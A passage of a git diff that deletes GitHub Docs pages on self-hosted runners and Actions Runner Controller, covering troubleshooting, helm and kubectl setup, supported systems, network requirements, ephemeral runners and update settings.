-To check the logs of the controller pod, you can use the following command.
-
-```bash copy
-kubectl logs -n -l app.kubernetes.io/name=gha-runner-scale-set-controller
-```
-
-To check the logs of the runner set listener, you can use the following command.
-
-```bash copy
-kubectl logs -n -l auto-scaling-runner-set-namespace=arc-systems -l auto-scaling-runner-set-name=arc-runner-set
-```
-
-## Using the charts from the `master` branch
-
-We recommend you use the charts from the latest release instead of the `master` branch. The `master` branch is highly unstable, and we cannot guarantee that the charts in the `master` branch will work at any given time.
-
-## Troubleshooting the listener pod
-
-If the controller pod is running, but the listener pod is not, inspect the logs of the controller first and see if there are any errors. If there are no errors and the runner set listener pod is still not running, ensure the controller pod has access to the Kubernetes API server in your cluster.
-
-If you have a proxy configured or you're using a sidecar proxy that's automatically injected, such as [Istio](https://istio.io/), ensure it's configured to allow traffic from the controller container (manager) to the Kubernetes API server.
-
-If you have installed the autoscaling runner set, but the listener pod is not created, verify that the `githubConfigSecret` you provided is correct and that the `githubConfigUrl` you provided is accurate. See [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller) for more information.
-
-## Runner pods are recreated after a canceled workflow run
-
-Once a workflow run is canceled, the following events happen.
-
-* The cancellation signal is sent to the runners directly.
-* The runner application terminates, which also terminates the runner pods.
-* On the next poll, the cancellation signal is received by the listener.
-
-There might be a slight delay between when the runners receive the signal and when the listener receives the signal. When runner pods start terminating, the listener tries to bring up new runners to match the desired number of runners according to the state it's in. However, when the listener receives the cancellation signal, it will act to reduce the number of runners. Eventually the listener will scale back down to the desired number of runners. In the meantime, you may see extra runners.
-
-## Error: `Name must have up to n characters`
-
-ARC uses the generated names of certain resources as labels for other resources. Because of this requirement, ARC limits resource names to 63 characters.
-
-Because part of the resource name is defined by you, ARC imposes a limit on the number of characters you can use for the installation name and namespace.
-
-```bash
-Error: INSTALLATION FAILED: execution error at (gha-runner-scale-set/templates/autoscalingrunnerset.yaml:5:5): Name must have up to 45 characters
-
-Error: INSTALLATION FAILED: execution error at (gha-runner-scale-set/templates/autoscalingrunnerset.yaml:8:5): Namespace must have up to 63 characters
-```
-
-## Error: `Access to the path /home/runner/_work/_tool is denied`
-
-You may see this error if you're using Kubernetes mode with persistent volumes. This error occurs if the runner container is running with a non-root user and is causing a permissions mismatch with the mounted volume.
-
-To fix this, you can do one of the following things.
-
-* Use a volume type that supports `securityContext.fsGroup`. `hostPath` volumes do not support this property, whereas `local` volumes and other types of volumes do support it. Update the `fsGroup` of your runner pod to match the GID of the runner. You can do this by updating the `gha-runner-scale-set` helm chart values to include the following. Replace `VERSION` with the version of the `actions-runner` container image you want to use.
-
- ```yaml copy
- spec:
- securityContext:
- fsGroup: 123
- containers:
- - name: runner
- image: ghcr.io/actions/actions-runner:latest
- command: ["/home/runner/run.sh"]
- ```
-
-* If updating the `securityContext` of your runner pod is not a viable solution, you can work around the issue by using `initContainers` to change the mounted volume's ownership, as follows.
-
- ```yaml copy
- template:
- spec:
- initContainers:
- - name: kube-init
- image: ghcr.io/actions/actions-runner:latest
- command: ["sudo", "chown", "-R", "1001:123", "/home/runner/_work"]
- volumeMounts:
- - name: work
- mountPath: /home/runner/_work
- containers:
- - name: runner
- image: ghcr.io/actions/actions-runner:latest
- command: ["/home/runner/run.sh"]
- ```
-
-## Error: `failed to get access token for {% data variables.product.prodname_github_app %} auth: 401 Unauthorized`
-
-A `401 Unauthorized` error when attempting to obtain an access token for a {% data variables.product.prodname_github_app %} could be a result of a Network Time Protocol (NTP) drift. Ensure that your Kubernetes system is accurately syncing with an NTP server and that there isn't a significant time drift. There is more leeway if your system time is behind {% data variables.product.github %}'s time, but if the environment is more than a few seconds ahead, 401 errors will occur when using {% data variables.product.prodname_github_app %}.
-
-## Legal notice
-
-{% data reusables.actions.actions-runner-controller-legal-notice %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow.md
deleted file mode 100644
index 4ce3d132a3fa..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow.md
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: Using Actions Runner Controller runners in a workflow
-shortTitle: Using ARC in a workflow
-intro: 'You can use {% data variables.product.prodname_actions_runner_controller %} runners in a workflow file.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: overview
-topics:
- - Actions Runner Controller
-defaultPlatform: linux
----
-
-[Legal notice](#legal-notice)
-
-## About using ARC runners in a workflow file
-
-To assign jobs to run on a runner scale set, you can specify the name of the scale set as the value for the `runs-on` key in your {% data variables.product.prodname_actions %} workflow file.
-
-For example, the following configuration for a runner scale set has the `INSTALLATION_NAME` value set to `arc-runner-set`.
-
-```bash
-# Using a {% data variables.product.pat_generic_title_case %} (PAT)
-INSTALLATION_NAME="arc-runner-set"
-NAMESPACE="arc-runners"
-GITHUB_CONFIG_URL="https://github.com/"
-GITHUB_PAT=""
-helm install "${INSTALLATION_NAME}" \
- --namespace "${NAMESPACE}" \
- --create-namespace \
- --set githubConfigUrl="${GITHUB_CONFIG_URL}" \
- --set githubConfigSecret.github_token="${GITHUB_PAT}" \
- oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set
-```
-
-To use this configuration in a workflow, set the value of the `runs-on` key in your workflow to `arc-runner-set`, similar to the following example.
-
-```yaml
-jobs:
- job_name:
- runs-on: arc-runner-set
-```
-
-## Using runner scale set names
-
-Runner scale set names are unique within the runner group they belong to. To deploy multiple runner scale sets with the same name, they must belong to different runner groups. For more information about specifying runner scale set names, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller).
-
-{% data reusables.actions.actions-runner-controller-labels %} For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#scaling-runners).
-
-## Legal notice
-
-{% data reusables.actions.actions-runner-controller-legal-notice %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners.md
deleted file mode 100644
index 3bdf525ad7c9..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners.md
+++ /dev/null
@@ -1,229 +0,0 @@
----
-title: About self-hosted runners
-intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.'
-redirect_from:
- - /github/automating-your-workflow-with-github-actions/about-self-hosted-runners
- - /actions/automating-your-workflow-with-github-actions/about-self-hosted-runners
- - /actions/hosting-your-own-runners/about-self-hosted-runners
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: overview
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About self-hosted runners
-
-A self-hosted runner is a system that you deploy and manage to execute jobs from {% data variables.product.prodname_actions %} on {% data variables.product.github %}. For more information about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}."{% elsif ghec or ghes %} and [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises).{% endif %}
-
-{% data reusables.actions.self-hosted-runner-description %} {% data reusables.actions.self-hosted-runner-locations %}
-
-You can add self-hosted runners at various levels in the management hierarchy:
-* Repository-level runners are dedicated to a single repository.
-* Organization-level runners can process jobs for multiple repositories in an organization.
-* Enterprise-level runners can be assigned to multiple organizations in an enterprise account.
-
-{% data reusables.actions.self-hosted-runner-architecture %} {% data reusables.actions.runner-app-open-source %} {% ifversion fpt or ghec %} When a new version is released, the runner application automatically updates itself when a job is assigned to the runner, or within a week of release if the runner hasn't been assigned any jobs. {% else ifversion ghes %} When a new version is released, the runner application will automatically update within 24 hours. {% endif %}
-{% ifversion ghes %}
-
-> [!NOTE]
-> {% data reusables.actions.upgrade-runners-before-upgrade-ghes %}
-
-{% endif %}
-
-{% data reusables.actions.self-hosted-runner-auto-removal %}
-
-For more information about installing and using self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow).
-
-## Differences between {% data variables.product.prodname_dotcom %}-hosted and self-hosted runners
-
-{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted runners are a highly configurable way to run workflows in your own custom environment.
-
-**{% data variables.product.prodname_dotcom %}-hosted runners:**
-* Receive automatic updates for the operating system, preinstalled packages and tools, and the self-hosted runner application.
-* Are managed and maintained by {% data variables.product.prodname_dotcom %}.
-* Provide a clean instance for every job execution.
-* Use free minutes on your {% data variables.product.prodname_dotcom %} plan, with per-minute rates applied after surpassing the free minutes.
-
-**Self-hosted runners:**
-* Receive automatic updates for the self-hosted runner application only, though you may disable automatic updates of the runner. For more information about controlling runner software updates on self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners#controlling-runner-software-updates-on-self-hosted-runners). You are responsible for updating the operating system and all other software.
-* Can use cloud services or local machines that you already pay for.
-* Are customizable to your hardware, operating system, software, and security requirements.
-* Don't need to have a clean instance for every job execution.
-* Are free to use with {% data variables.product.prodname_actions %}, but you are responsible for the cost of maintaining your runner machines.{% ifversion ghec or ghes %}
-* Can be organized into groups to restrict access to specific workflows, organizations, and repositories. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups).{% endif %}
-
-## Requirements for self-hosted runner machines
-
-You can use any machine as a self-hosted runner as long at it meets these requirements:
-
-* You can install and run the self-hosted runner application on the machine. For more information, see [Supported architectures and operating systems for self-hosted runners](#supported-architectures-and-operating-systems-for-self-hosted-runners).
-* The machine can communicate with {% data variables.product.prodname_actions %}. For more information, see [Communication between self-hosted runners and {% data variables.product.github %}](#communication-between-self-hosted-runners-and-github).
-* The machine has enough hardware resources for the type of workflows you plan to run. The self-hosted runner application itself only requires minimal resources.
-* If you want to run workflows that use Docker container actions or service containers, you must use a Linux machine and Docker must be installed.
-
-## Autoscaling your self-hosted runners
-
-You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners).
-
-## Usage limits
-
-There are some limits on {% data variables.product.prodname_actions %} usage when using self-hosted runners. These limits are subject to change.
-
-{% ifversion fpt or ghec or ghes > 3.12 %}- **Job execution time** - Each job in a workflow can run for up to 5 days of execution time. If a job reaches this limit, the job is terminated and fails to complete.{% endif %}
-{% data reusables.actions.usage-workflow-run-time %}
-* **Job queue time** - Each job for self-hosted runners that has been queued for at least 24 hours will be canceled. The actual time in queue can reach up to 48 hours before cancellation occurs. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete.
-{% data reusables.actions.usage-api-requests %}
-* **Job matrix** - {% data reusables.actions.usage-matrix-limits %}
-{% data reusables.actions.usage-workflow-queue-limits %}
-* **Registering self-hosted runners** - You can have a maximum of 10,000 self-hosted runners in one runner group. If this limit is reached, adding a new runner will not be possible.
-
-## Workflow continuity for self-hosted runners
-
-{% data reusables.actions.runner-workflow-continuity %}
-
-## Supported architectures and operating systems for self-hosted runners
-
-The following operating systems are supported for the self-hosted runner application.
-
-### Linux
-
-* Red Hat Enterprise Linux 8 or later
-* CentOS 8 or later
-* Oracle Linux 8 or later
-* Fedora 29 or later
-* Debian 10 or later
-* Ubuntu 20.04 or later
-* Linux Mint 20 or later
-* openSUSE 15.2 or later
-* SUSE Enterprise Linux (SLES) 15 SP2 or later
-
-### Windows
-
-* Windows 10 64-bit
-* Windows 11 64-bit
-* Windows Server 2016 64-bit
-* Windows Server 2019 64-bit
-* Windows Server 2022 64-bit
-
-### macOS
-
-* macOS 11.0 (Big Sur) or later
-
-### Architectures
-
-The following processor architectures are supported for the self-hosted runner application.
-
-* `x64` - Linux, macOS, Windows.
-* `ARM64` - Linux, macOS{% ifversion actions-windows-arm %}, Windows (currently in {% data variables.release-phases.public_preview %}){% endif %}.
-* `ARM32` - Linux.
-
-{% ifversion ghes %}
-
-## Supported actions on self-hosted runners
-
-All `actions/setup-LANGUAGE` action repositories currently support three platforms: macOS, Windows, and Ubuntu.
-Some extra configuration might be required to use actions from {% data variables.product.github %} with {% data variables.product.prodname_ghe_server %}, or to use the `actions/setup-LANGUAGE` actions with self-hosted runners that do not have internet access. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom) and contact your {% data variables.product.prodname_enterprise %} site administrator.
-
-{% endif %}
-
-
-
-## Communication between self-hosted runners and {% data variables.product.github %}
-
-The self-hosted runner connects to {% ifversion fpt or ghec %}{% data variables.product.github %}{% else %}{% data variables.location.product_location_enterprise %}{% endif %} to receive job assignments and to download new versions of the runner application. The self-hosted runner uses an {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} _long poll_ that opens a connection to {% data variables.product.github %} for 50 seconds, and if no response is received, it then times out and creates a new long poll. The application must be running on the machine to accept and run {% data variables.product.prodname_actions %} jobs.
-
-{% data reusables.actions.self-hosted-runner-ports-protocols %}
-
-{% ifversion fpt or ghec %}
-Since the self-hosted runner opens a connection to {% data variables.product.github %}, you do not need to allow {% data variables.product.prodname_dotcom %} to make inbound connections to your self-hosted runner.
-{% elsif ghes %}
-Only an outbound connection from the runner to {% data variables.product.prodname_ghe_server %} is required. There is no need for an inbound connection from {% data variables.product.prodname_ghe_server %} to the runner.
-For caching to work, the runner must be able to communicate with the blob storage and directly download content from it.
-{%- endif %}
-
-{% ifversion ghes %}
-
-{% data variables.product.prodname_ghe_server %} must accept inbound connections from your runners over HTTP(S) at {% data variables.location.product_location %}'s hostname and API subdomain, and your runners must allow outbound connections over HTTP(S) to {% data variables.location.product_location %}'s hostname and API subdomain.
-
-{% endif %}
-
-{% ifversion fpt or ghec %}
-
-You must ensure that the machine has the appropriate network access with at least 70 kilobits per second upload and download speed to communicate with the {% data variables.product.prodname_dotcom %} hosts listed below. Some hosts are required for essential runner operations, while other hosts are only required for certain functionality.
-
-You can use the REST API to get meta information about {% data variables.product.company_short %}, including the IP addresses of {% data variables.product.company_short %} services. For more information about the domains and IP addresses used, see [AUTOTITLE](/rest/meta/meta).
-
-{% data reusables.actions.domain-name-cname-recursive-firewall-rules %}
-
-{% data reusables.actions.runner-essential-communications %}
-
-In addition, your workflow may require access to other network resources.
-
-If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see [Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list) or [Enforcing policies for security settings in your enterprise](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}
-
-{% else %}
-
-{% ifversion ghes %}Self-hosted runners do not require any external internet access in order to function. As a result, you can use network routing to direct communication between the self-hosted runner and {% data variables.product.prodname_ghe_server %}. For example, you can assign a private IP address to your self-hosted runner and configure routing to send traffic to {% data variables.product.prodname_ghe_server %}, with no need for traffic to traverse a public network.{% endif %}
-
-{% endif %}
-
-You can also use self-hosted runners with a proxy server. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-a-proxy-server-with-self-hosted-runners).
-
-For more information about troubleshooting common network connectivity issues, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners#troubleshooting-network-connectivity).
-
-{% ifversion ghes %}
-
-## Communication between self-hosted runners and {% data variables.product.prodname_dotcom_the_website %}
-
-Self-hosted runners do not need to connect to {% data variables.product.prodname_dotcom_the_website %} unless you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions for {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise).
-
-If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} URLs listed below.
-
-```shell copy
-github.com
-api.github.com
-codeload.github.com
-pkg.actions.githubusercontent.com
-```
-
-{% data reusables.actions.domain-name-cname-recursive-firewall-rules %}
-
-{% endif %}
-
-## Self-hosted runner security
-
-{% ifversion fpt or ghec %}
-
-{% data reusables.actions.self-hosted-runner-security %}
-
-{% endif %}
-
-{% ifversion fpt or ghec %}
-
-This is not an issue with {% data variables.product.prodname_dotcom %}-hosted runners because each {% data variables.product.prodname_dotcom %}-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution.
-
-{% endif %}
-
-Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include:
-
-* Malicious programs running on the machine.
-* Escaping the machine's runner sandbox.
-* Exposing access to the machine's network environment.
-* Persisting unwanted or dangerous data on the machine.
-
-For more information about security hardening for self-hosted runners, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners).
-
-### Restricting the use of self-hosted runners
-
-{% data reusables.actions.disable-selfhosted-runners-crossrefs %}
-
-{% ifversion ghec or ghes %}
-
-## Further reading
-
-* [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)
-
-{% endif %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners.md
deleted file mode 100644
index 6e51c2f69e23..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners.md
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: Adding self-hosted runners
-intro: 'You can add a self-hosted runner to a repository, an organization, or an enterprise.'
-redirect_from:
- - /github/automating-your-workflow-with-github-actions/adding-self-hosted-runners
- - /actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners
- - /actions/hosting-your-own-runners/adding-self-hosted-runners
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-shortTitle: Add self-hosted runners
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-You can add a self-hosted runner to a repository, an organization, or an enterprise.
-
-If you are an organization or enterprise administrator, you might want to add your self-hosted runners at the organization or enterprise level. This approach makes the runner available to multiple repositories in your organization or enterprise, and also lets you to manage your runners in one place.
-
-For information on supported operating systems for self-hosted runners, or using self-hosted runners with a proxy server, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners).
-
-> [!WARNING]
-> {% data reusables.actions.self-hosted-runner-security %}
->
-> For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories).
-
-You can set up automation to scale the number of self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners).
-
-You can register ephemeral runners that perform a single job before the registration is cleaned up by using just-in-time runner registration. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#using-just-in-time-runners).
-
-## Prerequisites
-
-{% data reusables.actions.self-hosted-runners-prerequisites %}
-
-## Adding a self-hosted runner to a repository
-
-You can add self-hosted runners to a single repository. To add a self-hosted runner to a user repository, you must be the repository owner. For an organization repository, {% ifversion custom-org-roles %}you must be an organization owner, have admin access to the repository, or have the “Manage organization runners and runner groups” permission.{% else %}you must be an organization owner or have admin access to the repository.{% endif %}
-
-{% ifversion custom-org-roles %}For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %}
-
-For information about how to add a self-hosted runner with the REST API, see [AUTOTITLE](/rest/actions/self-hosted-runners).
-
-> [!NOTE]
-> {% data reusables.actions.disable-selfhosted-runners-crossrefs %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-settings %}
-{% data reusables.repositories.settings-sidebar-actions-runners %}
-1. Click **New self-hosted runner**.
-{% data reusables.actions.self-hosted-runner-configure %}
-{% data reusables.actions.self-hosted-runner-check-installation-success %}
-
-For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners).
-
-## Adding a self-hosted runner to an organization
-
-You can add self-hosted runners at the organization level, where they can be used to process jobs for multiple repositories in an organization. To add a self-hosted runner to an organization, you must be an organization owner{% ifversion custom-org-roles %} or have the "Manage organization runners and runner groups" permission{% endif %}. For information about how to add a self-hosted runner with the REST API, see [AUTOTITLE](/rest/actions/self-hosted-runners).
-
-{% ifversion custom-org-roles %}For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %}
-
-{% data reusables.organizations.navigate-to-org %}
-{% data reusables.organizations.org_settings %}
-{% data reusables.organizations.settings-sidebar-actions-runners %}
-{% ifversion actions-hosted-runners %}1. Click **New runner**, then click **New self-hosted runner**.{% else %}1. Click **New runner**.{% endif %}
-{% data reusables.actions.self-hosted-runner-configure %}
-{% data reusables.actions.self-hosted-runner-check-installation-success %}
-
-For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners).
-
-{% data reusables.actions.self-hosted-runner-public-repo-access %}
-
-## Adding a self-hosted runner to an enterprise
-
-{% ifversion fpt %}If you use {% data variables.product.prodname_ghe_cloud %}, you{% elsif ghec or ghes %}You{% endif %} can add self-hosted runners to an enterprise, where they can be assigned to multiple organizations. The organization owner can control which repositories can use it. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise).{% endif %}
-
-{% ifversion ghec or ghes %}
-New runners are assigned to the default group. You can modify the runner's group after you've registered the runner. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group).
-
-{% ifversion ghec or ghes %}
-
-To add a self-hosted runner to an enterprise, you must be an enterprise owner. For information about how to add a self-hosted runner with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/actions/self-hosted-runners).
-
-{% endif %}
-
-{% data reusables.actions.self-hosted-runner-add-to-enterprise %}
-
-{% data reusables.actions.self-hosted-runner-check-installation-success %}
-
-For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners).
-
-{% data reusables.actions.self-hosted-runner-public-repo-access %}
-
-### Making enterprise runners available to repositories
-
-By default, runners in an enterprise's "Default" self-hosted runner group are available to all organizations in the enterprise, but are not available to all repositories in each organization.
-
-To make an enterprise-level self-hosted runner group available to an organization repository, you might need to change the organization's inherited settings for the runner group to make the runner available to repositories in the organization.
-
-For more information on changing runner group access settings, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group).
-{% endif %}
-
-{% ifversion ghec or ghes %}
-
-## Further reading
-
-* [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)
-
-{% endif %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners.md
deleted file mode 100644
index c76382f66238..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners.md
+++ /dev/null
@@ -1,95 +0,0 @@
----
-title: Autoscaling with self-hosted runners
-shortTitle: Autoscale self-hosted runners
-intro: You can automatically scale your self-hosted runners in response to webhook events.
-redirect_from:
- - /actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: overview
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About autoscaling
-
-You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the [`queued`](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity.
-
-## Supported autoscaling solutions
-
-{% ifversion fpt or ghec %}
-
-{% data variables.product.prodname_dotcom %}-hosted runners inherently autoscale based on your needs. {% data variables.product.prodname_dotcom %}-hosted runners can be a low-maintenance and cost-effective alternative to developing or implementing autoscaling solutions. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners).
-
-{% endif %}
-
-The [actions/actions-runner-controller](https://github.com/actions/actions-runner-controller) (ARC) project is a Kubernetes-based runner autoscaler. {% data variables.product.prodname_dotcom %} recommends ARC if the team deploying it has expert Kubernetes knowledge and experience.
-
-For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller).
-
-## Using ephemeral runners for autoscaling
-
-{% data variables.product.prodname_dotcom %} recommends implementing autoscaling with ephemeral self-hosted runners; autoscaling with persistent self-hosted runners is not recommended. In certain cases, {% data variables.product.prodname_dotcom %} cannot guarantee that jobs are not assigned to persistent runners while they are shut down. With ephemeral runners, this can be guaranteed because {% data variables.product.prodname_dotcom %} only assigns one job to a runner.
-
-This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs.
-
->[!WARNING]The runner application log files for ephemeral runners must be forwarded to an external log storage solution for troubleshooting and diagnostic purposes. While it is not required for ephemeral runners to be deployed, {% data variables.product.prodname_dotcom %} recommends ensuring runner logs are forwarded and preserved externally before deploying an ephemeral runner autoscaling solution in a production environment. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners#reviewing-the-self-hosted-runner-application-log-files).
-
-To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. For example:
-
-```shell
-./config.sh --url https://github.com/octo-org --token example-token --ephemeral
-```
-
-The {% data variables.product.prodname_actions %} service will then automatically de-register the runner after it has processed one job. You can then create your own automation that wipes the runner after it has been de-registered.
-
-> [!NOTE]
-> If a job is labeled for a certain type of runner, but none matching that type are available, the job does not immediately fail at the time of queueing. Instead, the job will remain queued until the 24 hour timeout period expires.
-
-Alternatively, you can create ephemeral, just-in-time runners using the REST API. For more information, see [AUTOTITLE](/rest/actions/self-hosted-runners).
-
-## Controlling runner software updates on self-hosted runners
-
-By default, self-hosted runners will automatically perform a software update whenever a new version of the runner software is available. If you use ephemeral runners in containers then this can lead to repeated software updates when a new runner version is released. Turning off automatic updates allows you to update the runner version on the container image directly on your own schedule.
-
-To turn off automatic software updates and install software updates yourself, specify the `--disableupdate` flag when registering your runner using `config.sh`. For example:
-
-```shell
-./config.sh --url https://github.com/YOUR-ORGANIZATION --token EXAMPLE-TOKEN --disableupdate
-```
-
-If you disable automatic updates, you must still update your runner version regularly. New functionality in {% data variables.product.prodname_actions %} requires changes in both the {% data variables.product.prodname_actions %} service _and_ the runner software. The runner may not be able to correctly process jobs that take advantage of new features in {% data variables.product.prodname_actions %} without a software update.
-
-If you disable automatic updates, you will be required to update your runner version within 30 days of a new version being made available. You may want to subscribe to notifications for releases in the [`actions/runner` repository](https://github.com/actions/runner/releases). For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#about-custom-notifications).
-
-For instructions on how to install the latest runner version, see the installation instructions for [the latest release](https://github.com/actions/runner/releases).
-
->[!WARNING] Any updates released for the software, including major, minor or patch releases, are considered as an available update. If you do not perform a software update within 30 days, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner. In addition, if a critical security update is required, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner until it has been updated.
-
-## Using webhooks for autoscaling
-
